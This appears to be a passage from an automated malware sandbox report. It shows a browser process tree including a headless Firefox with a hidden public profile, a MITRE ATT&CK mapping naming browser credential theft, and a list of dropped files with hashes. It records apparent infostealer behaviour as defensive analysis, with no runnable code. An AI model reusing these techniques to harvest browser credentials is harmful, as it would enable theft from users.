    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4696,i,13884871634036159104,15107710399338360700,524288 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:14
    3⤵
    PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ffeaa1ec188,0x7ffeaa1ec194,0x7ffeaa1ec1a0
    3⤵
    PID:2424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1904,i,2404629298928488764,13659464148190697645,262144 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:2
    3⤵
    PID:5912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2040,i,4389729418567395020,2358567231647109331,524288 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:11
    3⤵
    - System Time Discovery
    PID:252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2692,i,691158851064379609,10894698921124695807,524288 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:13
    3⤵
    PID:3160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,12881256664978974235,2252725960922877436,2097152 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
    3⤵
    PID:3832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3592,i,12383625724738318647,11779051498553367480,2097152 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
    3⤵
    PID:3956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4148,i,5796267541220714892,16957386543945966999,2097152 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
    3⤵
    PID:5268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4160,i,13288086123804151734,255899311971853032,2097152 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:9
    3⤵
    PID:3616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,11906144104732565685,18138180418055713631,524288 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:14
    3⤵
    PID:4360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,15276109994186678233,4365573438224882133,524288 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=3764 /prefetch:14
    3⤵
    PID:244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,9161784730218767620,6588422153877183605,524288 --field-trial-handle=2500,i,16994381145948254047,819334817963403888,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
    3⤵
    PID:4048
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3184
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2772 -prefsLen 24445 -prefMapHandle 2776 -prefMapSize 268500 -ipcHandle 2840 -initialChannelId {8d3f569b-7023-4739-b78e-63c170ef1e98} -parentPid 3184 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3184" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:1568
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1948 -prefsLen 24657 -prefMapHandle 1952 -prefMapSize 268500 -jsInitHandle 1960 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1984 -initialChannelId {c4a1b548-7b47-4b8a-b6b7-d244457194be} -parentPid 3184 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3184" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:368
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3752 -prefsLen 25541 -prefMapHandle 3756 -prefMapSize 268500 -ipcHandle 3804 -initialChannelId {d70794b3-503d-4cf1-b080-8f3e0d482528} -parentPid 3184 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3184" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4944
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4088 -prefsLen 25542 -prefMapHandle 4092 -prefMapSize 268500 -jsInitHandle 4052 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4068 -initialChannelId {0065347a-feb3-47c8-91be-ad619e148063} -parentPid 3184 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3184" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:4396

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4964

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3f036f73-d385-4033-9cc4-2ad703407290.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\3f036f73-d385-4033-9cc4-2ad703407290.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 5032b5aab748d8317bff4c14033c9afe61845382cf0cb39e2ca7646897b3aec8
MD5 3d0b8e47d325d68448561db7a72173b9
SHA1 f873faaf373d9f884b185b41e69f269b59042295
SHA512 f9d68654d323d01acdf8c0ae18d6409331cd746f32295439047e64b4a8e48e030ee6de247c02009f5330eb9d06ff62d5dcf68a175b2642c9a817bd4b1757c4ae
SSDEEP 96:xC0d+r2io+TJ/E0f6m934zM4RDotok5smD4B6nGyvn0b4T8KybJv4a:xC0ITo+TQ0InDUDbMPPb4T8Kybl
TLSH
T1CAA1E835A0284D774476D44AB1A26A43CFB9706BE973AF90EADD0F0D15F70EC1351A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e43ff61a-51d3-4238-9a35-615feafe23a3\index-dir\the-real-index
Size 360B
SHA256 3613bf71cd5c822ac018d3908c10720ad506e96b550323d1f32c3fbe7ae9f06c
MD5 306205bcb2729bb8b846a1b70f8ac2a5
SHA1 133e8fd07f9cdbd0fbb52c393d1d6e6b2ae6a967
SHA512 a5aaa8a39d0fae29fe66a15ceef65b907a1832e59735f7a75085d37760fab3836e53153af9f7fdf24f844e42880cd0f9788ce04ee55a62dce859ad7f12c77d70
TLSH
T142E0EB4B8C93080BCE33BC7A06B3A12F333B02FD2900AE1600FC041D9613A7C4202209
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5aa00a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e43ff61a-51d3-4238-9a35-615feafe23a3\index-dir\the-real-index~RFe5aa00a.TMP
Size 360B
SHA256 7465f259f75d7db995a3424a88bfe42a7e19c1596cd23faa20ade93a19e05369
MD5 c17818cd67d3bee0f1eac3b2cadc457c
SHA1 899703cd1ca5051763fd58182e4ef313570565c0
SHA512 7a892e3ae0b4b0a91e0f82145c1f51dc6e43fa5178df11edaa588d9201c9a931f2feca70e67b8647b5982a4525d9d85e984d524d409af99bb5453a4a1d527841
TLSH
T1F9E095CF45D15E63CD2659751543622F333F0C343515D61B10EF545F15237BC8545B0A
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 0ede28b09a0ff2099bebb606d6c4172de6b18eea8ed4c6ff1441cb95cf4ed114
MD5 5e01560977d5ee7518918bf2dde312af
SHA1 9542b776fdc824b850182ccb7502e54bb711dd2f
SHA512 babe96d7b7f689a7d7535ec621133c20432e0fa1b09a72a39e1c46e45f80faa3c883a16885a6d764302a9665e2c588f526b4b99440a2d46851560b49b4a9ac45
SSDEEP 768:nrv+4UNbdz3oK/TBOWJLt16eONXyer1IRCzniwNeVH1SK7:nbsbV3ZCeSIqnhEH1l
TLSH
T15003CF31A098DE334DE2A395B147B3437FB82067C9840B90EDEA1F5E0A9759E270F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 ed644b45f27154646d765ce47093cc087f0652b7a50c5ead7e4bd13e072632ae
MD5 bdce1ee129f77f5f2f72a4459b60a8d1
SHA1 93079cb5947f19e3e90b5452bc0302900efbe04b
SHA512 08b7a8e5534507e1322330896febfa5c409bcb98d97850eddfaeeff1ee025c964b922de07f4a7308ce2c954f74bedd979d31211dbd5d5afdc0690cca93cea334
SSDEEP 768:hrv+4UNbdz3tI/TBOWJLtJONXyer1IRCzniBoeVH1SK7:hbsbV3OzSIqn3EH1l
TLSH
T16303CF32A4A89E338CE2A3D6B14777037FB86057C6840790E9DE2F4E069B59D130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1ld0efr0.dll

Path C:\Users\Admin\AppData\Local\Temp\1ld0efr0\1ld0efr0.dll
Size 3KB
SHA256 a988b19aa1001c2a8e76ab565f09bd23108d945adc755da7beb53895bf5b8d16
MD5 ffdd931b3b26773470e50682da907773
SHA1 6993212c75dd3ed22b31d291949238425b506dce
SHA512 1563a4e534b82612d58b37de0490927d9bb5c787b21a83a019890846f2f14fd0d4cb9597e7457d9a8a3c5f403cc7d09ae5b0ab777a5dcf3fecd1981076649ac1
TLSH
T1A651862A97E9452BE4AB0730AEF3432737B4F8609F73A36D4D91426D6C607645E21FB0
MD5 SHA1 SHA512 TLSH

Submit Download

RESE584.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESE584.tmp
Size 1KB
SHA256 b75495f544ea72cb5340f4d87cb30f4a4d6e77cc7381a8da56ad9d5c3cab8584
MD5 774ea47d2edea89247c05d46293afb85
SHA1 dba39e2fa55564d878590ad8c41371bdc8d981a3
SHA512 38065f85f2ce20f861ed21fbc62dc546424b057f3c2305efc3e5adea779cbcae05d0fb700c4e17a081443ecdcb6a0a3483e81488db9858ac49da13a29dd55387
TLSH
T180216A0563E8471EF0774B31A9F6132F9264FDA5EEA2535A854002292C91544EEE1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESE67E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESE67E.tmp
Size 1KB
SHA256 7398d772b980b2bf4e167ec2830b33fb49961adcfd62211f3f23d713a67683ea
MD5 9a4f6ba9c750fb860b3a0a94a6ee1c35
SHA1 6b00f6c0cbe0096e57ed1f6530d44041cb9387b8
SHA512 87ee271ac70f208dcd74fe5eb16e312a5ce8b0480a4ed32f9df6d953135d3b1bcdbf4b92dd35c4d9c93a57438a1755631ea9632a3734c6a597abc7b4dd5ac812
TLSH
T12721EF0653E8470FF0774731AAF6231F9274FD94DFA1635A858002282C50204EEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x43ai5jx.ihc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x43ai5jx.ihc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

srjusewe.dll

Path C:\Users\Admin\AppData\Local\Temp\srjusewe\srjusewe.dll
Size 3KB
SHA256 748fb7d66e6130922bd675a324eea05b724f0fcbae8518a8d0e148c25c65d4c3
MD5 79cf9654f2ba300eda263ede4bd5af61
SHA1 f59f17c35ea90712e8b265d78f1c698e20782665
SHA512 ecb5901b98d98692a118f34ed516005d31ca7ec1f82148ff5da36a4a15f1a587aa444222b5fea1e3ff8c55ecb40631de34c6cb8b058b45679c678ce5b7201f30
TLSH
T1D651FE5AA3E44527E4B70730AEF3431322B4F8608F7397AE6D80432DAC656645E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 4KB
SHA256 afc00d47aa5e840957f6b593d1e15d7a7e163d9177dc1e20e698a99e2cca892a
MD5 c696e88f7e4abf0cf68b8a12d1b3e0fb
SHA1 a4447310d1c6d2497b722b2a328fe342cc1937de
SHA512 9291061a6bdd52ddb1055b6155d3a3f764d9e19634a45ed758e102378b4810de9a0c27ed6d729d269d4b5cee2c8bec54779cffac976a10e02bd7958f66c79ccf
SSDEEP 96:xHaEqGqIdwzvF6ElW9hnK/8fs1w8hGcnBZ:s3RIdC6EX/Is1w8hrZ
TLSH
T1FBA110786504CB6F65F67B6CAC748C715E72013BB77F68C610A584C4450CF3846E9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 2KB
SHA256 8916dc7ad5e152deb6ebb5a7977eddb662a4129619d57395f0afd096ba4fe475
MD5 81354b8d6e876cd729e720f9fb4a1485
SHA1 15caee360ed0e1a4e2c6fd8d1d83e1877ad67065
SHA512 fe580f63ba7453737a743dcc4fd5e0ac6d724d3a93a171e52a5b3f52878609b93e8e276ed4bbf88dbd25a85c841d3a113f1c7bfc3a65bd58bf9dc1a968185fa7
TLSH
T1165100B995048F6FA4F9376CBC244462DE72413BB77F689250E89084450CF3456F69E7
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 1KB
SHA256 8e26069cedb2f060b527c8bf5eed16a12edfcad5b1301c215914c4a3aabd6a82
MD5 b43b92f3b38200025f30b482e195f4d8
SHA1 327579d9b511ad5dd95e900c7990ec9aa6ba129f
SHA512 3cdaa27c22657feefcee3cc2c59a13b39458e9f64d2c81d1236eaa16488b8337930f2b872e7bfd59007a39909da7257f5022e46ab64177f67ea0612f5eb6ef9f
TLSH
T1DD31F0A69945CFAFE5B53A7CFC154561D6734136B77FAC9220B880858018F3403F69EB
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 45e297ad5788ee05e0223fc804a7d6e83a7ef09b001f6805779fcac35d04d99b
MD5 d102e1fdad0b0cd50590972bc383f040
SHA1 72474b8978e0f59e091d4de629109e065fc34e70
SHA512 6a5256679eb97f611cc16c965aa6dbce39f91b83c7c922706a5a48dc5532fd69015b7de5be4e8fe77057b2046c698d5f67f6e7f0e3f51c8c7c363426077a6951
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0qZMNXCL23Cfi2f6E2A/2g42cRCH2ZC0H7mh9:Oa16S6CdFAW7yh44CfiaR/skL0H7
TLSH
T1DA23448D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1ld0efr0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\1ld0efr0\1ld0efr0.0.cs
Size 224B
SHA256 9b6364e874e1a8a09758906bd34725d88f607745747cda02dcc407ff1a2662e2
MD5 06efeae0876aa13b39881871cafab184
SHA1 87c206e26a911e5f0806ace782fd456ec6886248
SHA512 8707555bacb989a8f3e5dc65784ca37e1509a55f8e46603e171b5c7dbda1227509b18904bf794a9686aa941fa38454f8bc95f753bc5cf0b398aa67759c914ebd
TLSH
T141D0A9046260911A59CA9401A9C88027F62AC13033E83A32CABFDE61CEB088A827C4CF
MD5 SHA1 SHA512 TLSH

Submit Download

1ld0efr0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\1ld0efr0\1ld0efr0.cmdline
Size 369B
SHA256 9483c8be9ebbe09d5b78d6d3215ccf0904a60bf1a68ec880dd1d88c337eae926
MD5 c839c49c7ddc40cd6501643f1eae4c5c
SHA1 551337fbd5133073586eb3fb780e9a5fa0af1f3f
SHA512 78859fb07778e460e65bf36bb37d21f6f6d295727b3ec29cd8c0a24ac6990e79c5bcd132186df30ef95e30855d864d4f724fa387a2c0cd596e478eb6a9e22243
TLSH
T189E0DF3F9367CA7E15E9200B236AC9ACC2B31A8729827F889190845DF0271056BD27D5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE38B2EAF10A43328DB1D194F9027B2.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\1ld0efr0\CSCE38B2EAF10A43328DB1D194F9027B2.TMP
Size 652B
SHA256 d2830fbc0d3e105ff6b706d766186bab384151bcf8d910ecbbd157a974efad34
MD5 1ceecee5557911b6f13437fd7bf273c7
SHA1 37a0fee83f7283e93e4ab55aaa65625d61573082
SHA512 181c0dc57a5ff9cfa72c0d76744e6b076b25becfcf0fbd46025d1af3bd55e7bb8f3181294c73298c9e1ff80adeca06fa881c6073b4b807e252af0b459c5aa557
TLSH
T1B7F05E0967F8020EF0F74B30BEF6436795A8BC64DE3293ED645003192C646208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC678E9FCB1C4C449488EEF2F035C6F1D.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\srjusewe\CSC678E9FCB1C4C449488EEF2F035C6F1D.TMP
Size 652B
SHA256 95830a4014cbe62b408885bda22ec63798d74fc533e828390daca2ddb5f9550a
MD5 23231321a873284d1e676ba6d8776afb
SHA1 aed86b62ce9d26e1ee8ee4c779354d7703209048
SHA512 0411237940641e20096a105ca028dd42eecf8bcde5d753d5e4e5aa32a5b4260001270f2dba0b450da97b19a0f2c080508c885a3c302a9fb6bf8ed72ca95eb12d
TLSH
T113F03A4973F8020AF0F74B30BDF6836391A9BC75DE3293ED595003192864510C972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

srjusewe.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\srjusewe\srjusewe.0.cs
Size 223B
SHA256 d2e800fcc12866112f1365897311f771ac821fccdb93af7e10d633c499376e01
MD5 6b35232031a516333ec8eba02bb33f43
SHA1 df17ac04b067e73c0c12b86dfc42f70cfd0b9fb9
SHA512 8d64aa9437fb5e13a73622bfbe544a2f1fa0182b60cf892906b017bcac409c2cb81b53139b9d72f26ac11fbf1efd78e38fa626c1756076b95e47410601ba4a56
TLSH
T1A2D0A7861194C1151CC744059988C026E525C02036E83B71C5AF9962CD7040942780CF
MD5 SHA1 SHA512 TLSH

Submit Download

srjusewe.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\srjusewe\srjusewe.cmdline
Size 369B
SHA256 4c04757c012176cbac3ecbbe3053b01b7e8f5af6f3ae37f92817151fd4da0137
MD5 328be3f0d1bba0aaff5f45b5bafe2c9f
SHA1 e655a1aa976361229a737631da9b1441320966ed
SHA512 42ba0ccbba053f7d703acdad644a8430b55cf195a29f22e916d92a4e81c39aa2bd2f863e68597b3e8076a56f71df90705a7cc3533026da1b066a1942d1e67fe7
TLSH
T115E0262A725BC77D15ED201B226AC5BDC672078B79827FC4B365886DE02F0046BD27A5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2956-1382-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1397-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2687-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2649-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2648-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2647-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2645-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2643-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2639-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-2636-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1514-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1477-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1441-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1440-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1433-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1430-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1427-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1423-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1421-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1417-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

memory/2956-1414-0x0000000002F70000-0x000000000303C000-memory.dmp

Download

